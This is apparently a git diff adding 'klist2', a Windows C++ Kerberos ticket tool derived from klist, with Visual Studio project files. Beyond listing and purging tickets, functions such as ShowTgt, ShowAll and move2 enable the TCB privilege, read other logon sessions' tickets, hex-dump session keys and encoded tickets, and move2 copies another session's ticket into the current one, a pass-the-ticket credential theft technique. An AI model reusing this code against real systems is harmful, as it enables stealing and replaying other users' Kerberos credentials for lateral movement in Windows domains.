+ Name.MaximumLength = Name.Length + 1;
+
+ Status = LsaLookupAuthenticationPackage(
+ *pLogonHandle,
+ &Name,
+ pPackageId
+ );
+
+ if (!SEC_SUCCESS(Status))
+ {
+ ShowNTError("LsaLookupAuthenticationPackage", Status);
+ return FALSE;
+ }
+
+ return TRUE;
+
+}
+
+BOOL
+PurgeTicket(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ LPWSTR Server,
+ DWORD cbServer,
+ LPWSTR Realm,
+ DWORD cbRealm
+ )
+{
+ NTSTATUS Status;
+ PVOID Response;
+ ULONG ResponseSize;
+ NTSTATUS SubStatus=0;
+
+ PKERB_PURGE_TKT_CACHE_REQUEST pCacheRequest = NULL;
+
+ pCacheRequest = (PKERB_PURGE_TKT_CACHE_REQUEST)
+ LocalAlloc(LMEM_ZEROINIT,
+ cbServer + cbRealm + sizeof(KERB_PURGE_TKT_CACHE_REQUEST));
+
+ pCacheRequest->MessageType = KerbPurgeTicketCacheMessage;
+ pCacheRequest->LogonId.LowPart = 0;
+ pCacheRequest->LogonId.HighPart = 0;
+
+ CopyMemory((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST),
+ Server,cbServer);
+ CopyMemory((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer,
+ Realm,cbRealm);
+
+ pCacheRequest->ServerName.Buffer =
+ (LPWSTR)((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST));
+
+ pCacheRequest->ServerName.Length =
+ (unsigned short)cbServer;
+
+ pCacheRequest->ServerName.MaximumLength =
+ (unsigned short)cbServer;
+
+ pCacheRequest->RealmName.Buffer =
+ (LPWSTR)((LPBYTE)pCacheRequest+sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer);
+
+ pCacheRequest->RealmName.Length =
+ (unsigned short)cbRealm;
+
+ pCacheRequest->RealmName.MaximumLength =
+ (unsigned short)cbRealm;
+
+ printf("\tDeleting ticket: \n");
+ printf("\t ServerName = %wZ (cb=%lu)\n",&pCacheRequest->ServerName,cbServer);
+ printf("\t RealmName = %wZ (cb=%lu)\n",&pCacheRequest->RealmName,cbRealm);
+
+ Status = LsaCallAuthenticationPackage(
+ LogonHandle,
+ PackageId,
+ pCacheRequest,
+ sizeof(KERB_PURGE_TKT_CACHE_REQUEST)+cbServer+cbRealm,
+ &Response,
+ &ResponseSize,
+ &SubStatus
+ );
+
+ if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(Status))
+ {
+ ShowNTError("LsaCallAuthenticationPackage(purge)", Status);
+ printf("Substatus: 0x%x\n",SubStatus);
+ ShowNTError("LsaCallAuthenticationPackage(purge SubStatus)", SubStatus);
+ return FALSE;
+ }
+ else
+ {
+ printf("\tTicket purged!\n");
+ return TRUE;
+ }
+
+}
+
+
+BOOL
+ShowTickets(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ DWORD dwMode
+ )
+{
+ NTSTATUS Status;
+ KERB_QUERY_TKT_CACHE_REQUEST CacheRequest;
+ PKERB_QUERY_TKT_CACHE_RESPONSE CacheResponse = NULL;
+ ULONG ResponseSize;
+ NTSTATUS SubStatus;
+ ULONG Index;
+ int ch;
+
+ CacheRequest.MessageType = KerbQueryTicketCacheMessage;
+ CacheRequest.LogonId.LowPart = 0;
+ CacheRequest.LogonId.HighPart = 0;
+
+ Status = LsaCallAuthenticationPackage(
+ LogonHandle,
+ PackageId,
+ &CacheRequest,
+ sizeof(CacheRequest),
+ (PVOID *) &CacheResponse,
+ &ResponseSize,
+ &SubStatus
+ );
+ if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus))
+ {
+ ShowNTError("LsaCallAuthenticationPackage", Status);
+ printf("Substatus: 0x%x\n",SubStatus);
+ return FALSE;
+ }
+
+ printf("\nCached Tickets: (%lu)\n", CacheResponse->CountOfTickets);
+ for (Index = 0; Index < CacheResponse->CountOfTickets ; Index++ )
+ {
+ printf("\n Server: %wZ@%wZ\n",
+ &CacheResponse->Tickets[Index].ServerName,
+ &CacheResponse->Tickets[Index].RealmName);
+ printf(" ");
+ PrintEType(CacheResponse->Tickets[Index].EncryptionType);
+ PrintTime(" End Time: ",CacheResponse->Tickets[Index].EndTime);
+ PrintTime(" Renew Time: ",CacheResponse->Tickets[Index].RenewTime);
+ printf(" TicketFlags: (0x%x) ", CacheResponse->Tickets[Index].TicketFlags);
+ PrintTktFlags(CacheResponse->Tickets[Index].TicketFlags);
+ printf("\n");
+
+ if(dwMode == INTERACTIVE_PURGE)
+ {
+ printf("Purge? (y/n/q) : ");
+ ch = _getche();
+ if(ch == 'y' || ch == 'Y')
+ {
+ printf("\n");
+ PurgeTicket(
+ LogonHandle,
+ PackageId,
+ CacheResponse->Tickets[Index].ServerName.Buffer,
+ CacheResponse->Tickets[Index].ServerName.Length,
+ CacheResponse->Tickets[Index].RealmName.Buffer,
+ CacheResponse->Tickets[Index].RealmName.Length
+ );
+ }
+ else if(ch == 'q' || ch == 'Q')
+ goto cleanup;
+ else
+ printf("\n\n");
+
+ }
+ }
+
+cleanup:
+
+ if (CacheResponse != NULL)
+ {
+ LsaFreeReturnBuffer(CacheResponse);
+ }
+
+ return TRUE;
+}
+DWORD
+GetEncodedTicket(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ wchar_t* Server
+)
+{
+ NTSTATUS Status;
+ PKERB_RETRIEVE_TKT_REQUEST CacheRequest = NULL;
+ PKERB_RETRIEVE_TKT_RESPONSE CacheResponse = NULL;
+ PKERB_EXTERNAL_TICKET Ticket;
+ ULONG ResponseSize;
+ NTSTATUS SubStatus;
+ BOOLEAN Trusted = TRUE;
+ BOOLEAN Success = FALSE;
+ UNICODE_STRING Target = { 0 };
+ UNICODE_STRING Target2 = { 0 };
+
+ InitUnicodeString(&Target2, Server);
+
+ CacheRequest = (PKERB_RETRIEVE_TKT_REQUEST)
+ LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST));
+
+ CacheRequest->MessageType = KerbRetrieveEncodedTicketMessage;
+ CacheRequest->LogonId.LowPart = 0;
+ CacheRequest->LogonId.HighPart = 0;
+
+
+ Target.Buffer = (LPWSTR)(CacheRequest + 1);
+ Target.Length = Target2.Length;
+ Target.MaximumLength = Target2.MaximumLength;
+
+ CopyMemory(
+ Target.Buffer,
+ Target2.Buffer,
+ Target2.Length
+ );
+
+ CacheRequest->TargetName = Target;
+
+ Status = LsaCallAuthenticationPackage(
+ LogonHandle,
+ PackageId,
+ CacheRequest,
+ Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST),
+ (PVOID*)&CacheResponse,
+ &ResponseSize,
+ &SubStatus
+ );
+
+ if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus))
+ {
+ ShowNTError("LsaCallAuthenticationPackage", Status);
+ printf("Substatus: 0x%x\n", SubStatus);
+ ShowNTError("Substatus:", SubStatus);
+
+ }
+ else
+ {
+ Ticket = &(CacheResponse->Ticket);
+
+
+ printf("\nEncoded Ticket:\n\n");
+
+ printf("ServiceName: "); PrintKerbName(Ticket->ServiceName);
+
+ printf("TargetName: "); PrintKerbName(Ticket->TargetName);
+
+ printf("ClientName: "); PrintKerbName(Ticket->ClientName);
+
+ printf("DomainName: %.*S\n",
+ Ticket->DomainName.Length / sizeof(WCHAR), Ticket->DomainName.Buffer);
+
+ printf("TargetDomainName: %.*S\n",
+ Ticket->TargetDomainName.Length / sizeof(WCHAR), Ticket->TargetDomainName.Buffer);
+
+ printf("AltTargetDomainName: %.*S\n",
+ Ticket->AltTargetDomainName.Length / sizeof(WCHAR), Ticket->AltTargetDomainName.Buffer);
+
+ printf("TicketFlags: (0x%x) ", Ticket->TicketFlags);
+ PrintTktFlags(Ticket->TicketFlags);
+ PrintTime("KeyExpirationTime: ", Ticket->KeyExpirationTime);
+ PrintTime("StartTime: ", Ticket->StartTime);
+ PrintTime("EndTime: ", Ticket->EndTime);
+ PrintTime("RenewUntil: ", Ticket->RenewUntil);
+ PrintTime("TimeSkew: ", Ticket->TimeSkew);
+ PrintEType(Ticket->SessionKey.KeyType);
+
+ Success = TRUE;
+
+ }
+
+ if (CacheResponse)
+ {
+ LsaFreeReturnBuffer(CacheResponse);
+ }
+ if (CacheRequest)
+ {
+ LocalFree(CacheRequest);
+ }
+
+ return Success;
+}
+
+
+ LUID getcurrentLuid() {
+
+ LUID tmp = ParseLuid(L"0x0", L"0x0");
+
+ HANDLE hToken = nullptr;
+ if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
+ std::cerr << "Failed to open process token. Error: " << GetLastError() << "\n";
+ return tmp;
+ }
+ TOKEN_STATISTICS tokenStats;
+ DWORD dwLength = 0;
+ if (!GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwLength)) {
+ std::cerr << "Failed to get token information. Error: " << GetLastError() << "\n";
+ CloseHandle(hToken);
+ return tmp;
+ }
+
+ CloseHandle(hToken);
+
+ LUID l;
+ l.HighPart = tokenStats.AuthenticationId.HighPart;
+ l.LowPart = tokenStats.AuthenticationId.LowPart;
+
+ return l;
+
+}
+
+
+
+
+ /*bool move(HANDLE LogonHandle, ULONG PackageId, LUID dl, LUID tl) {
+
+ NTSTATUS status;
+ NTSTATUS substatus;
+ status = LsaConnectUntrusted(&LogonHandle);
+ KERB_TRANSFER_CRED_REQUEST ktcr;
+ LUID dluid = getcurrentLuid();
+ ktcr.MessageType = KerbTransferCredentialsMessage;
+ ktcr.OriginLogonId = tl;
+ ktcr.DestinationLogonId = dluid;
+ ktcr.Flags = 0;
+
+
+
+ PVOID pOut = nullptr;
+ ULONG outLen = 0;
+
+ status = LsaCallAuthenticationPackage(LogonHandle, PackageId, &ktcr, sizeof(ktcr), &pOut, &outLen, &substatus);
+
+
+ if (!SEC_SUCCESS(status) || !SEC_SUCCESS(substatus))
+ {
+ ShowNTError("LsaCallAuthenticationPackage", status);
+ printf("Substatus: 0x%x\n", substatus);
+ return FALSE;
+ }
+
+ return TRUE;
+
+}*/
+
+ bool move2(HANDLE LogonHandle, ULONG PackageId, wchar_t* Server, LUID tl) {
+ NTSTATUS Status;
+ PKERB_RETRIEVE_TKT_REQUEST CacheRequest = NULL;
+ PKERB_RETRIEVE_TKT_RESPONSE CacheResponse = NULL;
+ PKERB_EXTERNAL_TICKET Ticket;
+ ULONG ResponseSize;
+ NTSTATUS SubStatus;
+ BOOLEAN Trusted = TRUE;
+ BOOLEAN Success = FALSE;
+ UNICODE_STRING Target = { 0 };
+ UNICODE_STRING Target2 = { 0 };
+
+ InitUnicodeString(&Target2, Server);
+ CacheRequest = (PKERB_RETRIEVE_TKT_REQUEST)
+ LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST));
+
+ Status = LsaConnectUntrusted(&LogonHandle);
+ CacheRequest->MessageType = KerbRetrieveEncodedTicketMessage;
+ LUID dluid = getcurrentLuid();
+ CacheRequest->LogonId = tl;
+ Target.Buffer = (LPWSTR)(CacheRequest + 1);
+ Target.Length = Target2.Length;
+ Target.MaximumLength = Target2.MaximumLength;
+ CopyMemory(
+ Target.Buffer,
+ Target2.Buffer,
+ Target2.Length
+ );
+ CacheRequest->TargetName = Target;
+ CacheRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED;
+
+
+
+ EnablePrivilege(SE_TCB_NAME);
+
+ Status = LsaCallAuthenticationPackage(
+ LogonHandle,
+ PackageId,
+ CacheRequest,
+ Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST),
+ (PVOID*)&CacheResponse,
+ &ResponseSize,
+ &SubStatus
+ );
+
+ if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus))
+ {
+ ShowNTError("LsaCallAuthenticationPackage", Status);
+ printf("Substatus: 0x%x\n", SubStatus);
+ ShowNTError("Substatus:", SubStatus);
+ std::cout << "LsaCallAuthPackage first call failed" << std::endl;
+
+ }
+
+
+ Ticket = &(CacheResponse->Ticket);
+ ULONG retSize;
+ ULONG headerSize = sizeof(KERB_SUBMIT_TKT_REQUEST);
+ ULONG keySize = 0;
+ ULONG totalSize = headerSize + keySize + Ticket->EncodedTicketSize;
+ //std::vector req_buffer(sizeof(KERB_RETRIEVE_TKT_REQUEST) + spn_length + sizeof(WCHAR));
+ //std::vector req_buffer(sizeof(KERB_RETRIEVE_TKT_REQUEST) + Ticket->EncodedTicketSize);
+
+ //LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST));
+ // LocalAlloc(LMEM_ZEROINIT, Ticket->EncodedTicketSize + sizeof(KERB_SUBMIT_TKT_REQUEST));
+ //CacheRequest = (PKERB_RETRIEVE_TKT_REQUEST)LocalAlloc(LMEM_ZEROINIT, Target2.Length + sizeof(KERB_RETRIEVE_TKT_REQUEST));
+ // PBYTE buffer = (PBYTE)malloc(totalSize);
+ //ZeroMemory(buffer, totalSize);
+ //PKERB_SUBMIT_TKT_REQUEST req = (PKERB_SUBMIT_TKT_REQUEST)buffer;
+ // PKERB_SUBMIT_TKT_REQUEST req = (PKERB_SUBMIT_TKT_REQUEST)LocalAlloc(LMEM_ZEROINIT, Ticket->EncodedTicketSize + sizeof(KERB_SUBMIT_TKT_REQUEST));
+ // PrintSessionKey(Ticket->SessionKey);
+
+
+ PBYTE buffer = (PBYTE)malloc(totalSize);
+ if (!buffer) {
+ // Handle allocation failure
+ fprintf(stderr, "[-] Memory allocation failed\n");
+ return FALSE;
+ }
+ ZeroMemory(buffer, totalSize);
+ PKERB_SUBMIT_TKT_REQUEST req = (PKERB_SUBMIT_TKT_REQUEST)buffer;
+ req->MessageType = KerbSubmitTicketMessage;
+ req->LogonId = dluid;
+ req->Flags = 0;
+ // req->Key.KeyType = 0;
+ // req->Key.Length = keySize;
+ req->KerbCredSize = Ticket->EncodedTicketSize;
+ req->KerbCredOffset = headerSize + keySize;
+
+ //memcpy(buffer + req->KerbCredOffset, Ticket->EncodedTicket, Ticket->EncodedTicketSize);
+ memcpy(buffer + req->KerbCredOffset, Ticket->EncodedTicket, Ticket->EncodedTicketSize);
+ PVOID rep_buffer = nullptr;
+ ULONG rep_length = 0;
+
+ Status = LsaCallAuthenticationPackage(LogonHandle, PackageId,buffer, totalSize, &rep_buffer, &rep_length, &SubStatus);
+
+ if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus))
+ {
+ ShowNTError("LsaCallAuthenticationPackage", Status);
+ printf("Substatus: 0x%x\n", SubStatus);
+ std::cout << "LsaCallAuthPackage call 2 failed" << std::endl;
+ return FALSE;
+ }
+
+
+ CloseHandle(LogonHandle);
+ if (CacheResponse)
+ {
+ LsaFreeReturnBuffer(CacheResponse);
+ }
+ if (CacheRequest)
+ {
+ LocalFree(CacheRequest);
+ }
+
+
+ }
+
+BOOL
+ShowTgt(
+ HANDLE LogonHandle,
+ ULONG PackageId,
+ LUID L
+ )
+{
+ NTSTATUS Status;
+ KERB_QUERY_TKT_CACHE_REQUEST CacheRequest;
+ PKERB_RETRIEVE_TKT_RESPONSE TicketEntry = NULL;
+ PKERB_EXTERNAL_TICKET Ticket;
+ ULONG ResponseSize;
+ NTSTATUS SubStatus;
+ BOOLEAN Trusted = TRUE;
+ Status = LsaConnectUntrusted(&LogonHandle);
+ CacheRequest.MessageType = KerbRetrieveTicketMessage;
+ // DWORD dwordValue = std::stoul("0x40234", nullptr, 16);
+ //CacheRequest.LogonId.LowPart = dwordValue;
+ //CacheRequest.LogonId.LowPart = 0;
+ //CacheRequest.LogonId.HighPart = 0;
+
+
+ CacheRequest.LogonId = L;
+ EnablePrivilege(SE_TCB_NAME);
+
+ Status = LsaCallAuthenticationPackage(
+ LogonHandle,
+ PackageId,
+ &CacheRequest,
+ sizeof(CacheRequest),
+ (PVOID*)&TicketEntry,
+ &ResponseSize,
+ &SubStatus
+ );
+
+ CloseHandle(LogonHandle);
+
+ if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus))
+ {
+ ShowNTError("LsaCallAuthenticationPackage", Status);
+ printf("Substatus: 0x%x\n",SubStatus);
+ return FALSE;
+ }
+
+ Ticket = &(TicketEntry->Ticket);
+
+ printf("\nCached TGT:\n\n");
+
+ printf("ServiceName : "); PrintKerbName(Ticket->ServiceName);
+
+ printf("TargetName : "); PrintKerbName(Ticket->TargetName);
+
+ printf("FullServiceName : "); PrintKerbName(Ticket->ClientName);
+
+ printf("DomainName : %.*S\n",
+ Ticket->DomainName.Length/sizeof(WCHAR),Ticket->DomainName.Buffer);
+
+ printf("TargetDomainName : %.*S\n",
+ Ticket->TargetDomainName.Length/sizeof(WCHAR),Ticket->TargetDomainName.Buffer);
+
+ printf("AltTargetDomainName: %.*S\n",
+ Ticket->AltTargetDomainName.Length/sizeof(WCHAR),Ticket->AltTargetDomainName.Buffer);
+
+ printf("TicketFlags : (0x%x) ",Ticket->TicketFlags);
+ PrintTktFlags(Ticket->TicketFlags);
+ // PrintTime("KeyExpirationTime: ",Ticket->KeyExpirationTime);
+ PrintSessionKey(Ticket->SessionKey);
+ PrintTime("StartTime : ",Ticket->StartTime);
+ PrintTime("EndTime : ",Ticket->EndTime);
+ PrintTime("RenewUntil : ",Ticket->RenewUntil);
+ PrintTime("TimeSkew : ",Ticket->TimeSkew);
+ // PrintEType(Ticket->SessionKey.KeyType);
+ printf("EncodedTicket : (size: %lu)\n", Ticket->EncodedTicketSize);
+ PrintHexDump(Ticket->EncodedTicket, Ticket->EncodedTicketSize);
+
+
+ if (TicketEntry != NULL)
+ {
+ LsaFreeReturnBuffer(TicketEntry);
+ }
+
+ return TRUE;
+}
+
+
+BOOL ShowAll(HANDLE LogonHandle, ULONG PackageId, LUID L) {
+ NTSTATUS Status;
+ KERB_QUERY_TKT_CACHE_REQUEST CacheRequest;
+ PKERB_QUERY_TKT_CACHE_RESPONSE CacheResponse = NULL;
+ ULONG ResponseSize;
+ NTSTATUS SubStatus;
+ BOOLEAN Trusted = TRUE;
+
+ CacheRequest.MessageType = KerbQueryTicketCacheMessage;
+ CacheRequest.LogonId = L;
+ //EnablePrivilege(SE_DEBUG_NAME);
+ EnablePrivilege(SE_TCB_NAME);
+ Status = LsaConnectUntrusted(&LogonHandle);
+ Status = LsaCallAuthenticationPackage(
+ LogonHandle,
+ PackageId,
+ &CacheRequest,
+ sizeof(CacheRequest),
+ (PVOID*)&CacheResponse,
+ &ResponseSize,
+ &SubStatus
+ );
+ if (!SEC_SUCCESS(Status) || !SEC_SUCCESS(SubStatus)) {
+ ShowNTError("LsaCallAuthenticationPackage", Status);
+ printf("Substatus: 0x%x\n", SubStatus);
+ RevertIfImpersonated();
+ return FALSE;
+ }
+
+ ULONG tcount = CacheResponse->CountOfTickets;
+ printf("Ticket Count: %lu\n", tcount);
+
+ for (ULONG i = 0; i < tcount; i++) {
+ KERB_RETRIEVE_TKT_REQUEST RetrieveRequest;
+ ZeroMemory(&RetrieveRequest, sizeof(RetrieveRequest));
+ PKERB_RETRIEVE_TKT_RESPONSE TicketEntry = NULL;
+ UNICODE_STRING TargetName;
+ USHORT length = CacheResponse->Tickets[i].ServerName.Length / sizeof(WCHAR);
+ PWSTR spn = CacheResponse->Tickets[i].ServerName.Buffer;
+
+ std::wstring hardcodedSpn(spn, length);
+ size_t spn_length = hardcodedSpn.length() * sizeof(WCHAR);
+ std::vector req_buffer(sizeof(KERB_RETRIEVE_TKT_REQUEST) + spn_length + sizeof(WCHAR));
+ void* target_name = req_buffer.data() + sizeof(KERB_RETRIEVE_TKT_REQUEST);
+
+ memcpy(target_name, hardcodedSpn.c_str(), spn_length);
+ PKERB_RETRIEVE_TKT_REQUEST req = reinterpret_cast(req_buffer.data());
+ req->MessageType = KerbRetrieveEncodedTicketMessage;
+ req->LogonId = L;
+ req->TargetName.Buffer = static_cast(target_name);
+ req->TargetName.Length = (USHORT)spn_length;
+ req->TargetName.MaximumLength = req->TargetName.Length + sizeof(wchar_t);
+
+
+ PVOID rep_buffer = nullptr;
+ ULONG rep_length = 0;
+ NTSTATUS protocol_status = LsaCallAuthenticationPackage(
+ LogonHandle,
+ PackageId,
+ req,
+ static_cast(req_buffer.size()),
+ &rep_buffer,
+ &rep_length,
+ &protocol_status
+ );
+
+ if (protocol_status < 0) {
+ ShowNTError("LsaCallAuthenticationPackage", protocol_status);
+ printf("Substatus: 0x%x\n", SubStatus);
+ continue; // Skip to the next ticket on error
+ }
+
+ PKERB_RETRIEVE_TKT_RESPONSE rep = static_cast(rep_buffer);
+ if (!rep) {
+ // Handle memory error
+ continue;
+ }
+
+ KERB_EXTERNAL_TICKET& Ticket = rep->Ticket;
+ printf("\nCached TGT:\n\n");
+ printf("ServiceName : "); PrintKerbName(Ticket.ServiceName);
+ printf("TargetName : "); PrintKerbName(Ticket.TargetName);
+ printf("FullServiceName : "); PrintKerbName(Ticket.ClientName);
+ printf("DomainName : %.*S\n",
+ Ticket.DomainName.Length / sizeof(WCHAR), Ticket.DomainName.Buffer);
+ printf("TargetDomainName : %.*S\n",
+ Ticket.TargetDomainName.Length / sizeof(WCHAR), Ticket.TargetDomainName.Buffer);
+ printf("AltTargetDomainName: %.*S\n",
+ Ticket.AltTargetDomainName.Length / sizeof(WCHAR), Ticket.AltTargetDomainName.Buffer);
+ printf("TicketFlags : (0x%x) ", Ticket.TicketFlags);
+ PrintTktFlags(Ticket.TicketFlags);
+ PrintSessionKey(Ticket.SessionKey);
+ PrintTime("StartTime : ", Ticket.StartTime);
+ PrintTime("EndTime : ", Ticket.EndTime);
+ PrintTime("RenewUntil : ", Ticket.RenewUntil);
+ PrintTime("TimeSkew : ", Ticket.TimeSkew);
+ printf("EncodedTicket : (size: %lu)\n", Ticket.EncodedTicketSize);
+ PrintHexDump(Ticket.EncodedTicket, Ticket.EncodedTicketSize);
+ }
+
+ // Clean up response memory
+ if (CacheResponse != NULL) {
+ LsaFreeReturnBuffer(CacheResponse);
+ }
+
+ // Revert after all operations
+
+
+ return TRUE;
+}
+
+
+VOID
+InitUnicodeString(
+ PUNICODE_STRING DestinationString,
+ PCWSTR SourceString OPTIONAL
+ )
+{
+ ULONG Length;
+
+ DestinationString->Buffer = (PWSTR)SourceString;
+ if (SourceString != NULL) {
+ Length = wcslen( SourceString ) * sizeof( WCHAR );
+ DestinationString->Length = (USHORT)Length;
+ DestinationString->MaximumLength = (USHORT)(Length + sizeof(UNICODE_NULL));
+ }
+ else {
+ DestinationString->MaximumLength = 0;
+ DestinationString->Length = 0;
+ }
+}
+
+VOID
+ShowLastError(
+ const char* szAPI,
+ DWORD dwError
+)
+{
+#define MAX_MSG_SIZE 256
+
+ static WCHAR szMsgBuf[MAX_MSG_SIZE];
+ DWORD dwRes;
+
+ printf("Error calling function %s: %lu\n", szAPI, dwError);
+
+ dwRes = FormatMessage(
+ FORMAT_MESSAGE_FROM_SYSTEM,
+ NULL,
+ dwError,
+ MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
+ szMsgBuf,
+ MAX_MSG_SIZE,
+ NULL);
+ if (0 == dwRes) {
+ printf("FormatMessage failed with %d\n", GetLastError());
+ ExitProcess(EXIT_FAILURE);
+ }
+
+ printf("%S", szMsgBuf);
+}
+
+VOID
+ShowNTError(
+ const char* szAPI,
+ NTSTATUS Status
+)
+{
+ //
+ // Convert the NTSTATUS to Winerror. Then call ShowLastError().
+ //
+ ShowLastError(szAPI, LsaNtStatusToWinError(Status));
+}
\ No newline at end of file
diff --git a/klist2.sln b/klist2.sln
new file mode 100644
index 0000000..7ad066d
--- /dev/null
+++ b/klist2.sln
@@ -0,0 +1,31 @@
+
+Microsoft Visual Studio Solution File, Format Version 12.00
+# Visual Studio Version 16
+VisualStudioVersion = 16.0.34931.43
+MinimumVisualStudioVersion = 10.0.40219.1
+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "klist2", "klist2.vcxproj", "{3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}"
+EndProject
+Global
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
+ Debug|x64 = Debug|x64
+ Debug|x86 = Debug|x86
+ Release|x64 = Release|x64
+ Release|x86 = Release|x86
+ EndGlobalSection
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x64.ActiveCfg = Debug|x64
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x64.Build.0 = Debug|x64
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x86.ActiveCfg = Debug|Win32
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Debug|x86.Build.0 = Debug|Win32
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x64.ActiveCfg = Release|x64
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x64.Build.0 = Release|x64
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x86.ActiveCfg = Release|Win32
+ {3EFFA9E6-CB9A-442D-A124-C2D0A8A7FBF9}.Release|x86.Build.0 = Release|Win32
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {24DB0A17-A554-4F2D-B1DF-67D276782967}
+ EndGlobalSection
+EndGlobal
diff --git a/klist2.vcxproj b/klist2.vcxproj
new file mode 100644
index 0000000..042b4f5
--- /dev/null
+++ b/klist2.vcxproj
@@ -0,0 +1,151 @@
+
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+ Debug
+ x64
+
+
+ Release
+ x64
+
+
+
+ 16.0
+ Win32Proj
+ {3effa9e6-cb9a-442d-a124-c2d0a8a7fbf9}
+ klist2
+ 10.0
+
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v143
+ true
+ Unicode
+
+
+ Application
+ true
+ v143
+ Unicode
+
+
+ Application
+ false
+ v142
+ true
+ Unicode
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+ true
+
+
+ false
+
+
+
+ Level3
+ true
+ WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ Advapi32.lib;%(AdditionalDependencies)
+
+
+
+
+ Level3
+ true
+ true
+ true
+ WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+ Advapi32.lib;%(AdditionalDependencies)
+
+
+
+
+ Level3
+ true
+ _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ Advapi32.lib;Secur32.lib;Ws2_32.lib;%(AdditionalDependencies)
+
+
+
+
+ Level3
+ true
+ true
+ true
+ NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
+ true
+
+
+ Console
+ true
+ true
+ true
+ Advapi32.lib;Secur32.lib;Ws2_32.lib;%(AdditionalDependencies)
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/klist2.vcxproj.filters b/klist2.vcxproj.filters
new file mode 100644
index 0000000..2a48abf
--- /dev/null
+++ b/klist2.vcxproj.filters
@@ -0,0 +1,22 @@
+
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+ Source Files
+
+
+
\ No newline at end of file
diff --git a/klist2.vcxproj.user b/klist2.vcxproj.user
new file mode 100644
index 0000000..0f14913
--- /dev/null
+++ b/klist2.vcxproj.user
@@ -0,0 +1,4 @@
+
+
+
+
\ No newline at end of file
diff --git a/klist2.vcxproj.zip b/klist2.vcxproj.zip
new file mode 100644
index 0000000..9eb60ab
Binary files /dev/null and b/klist2.vcxproj.zip differ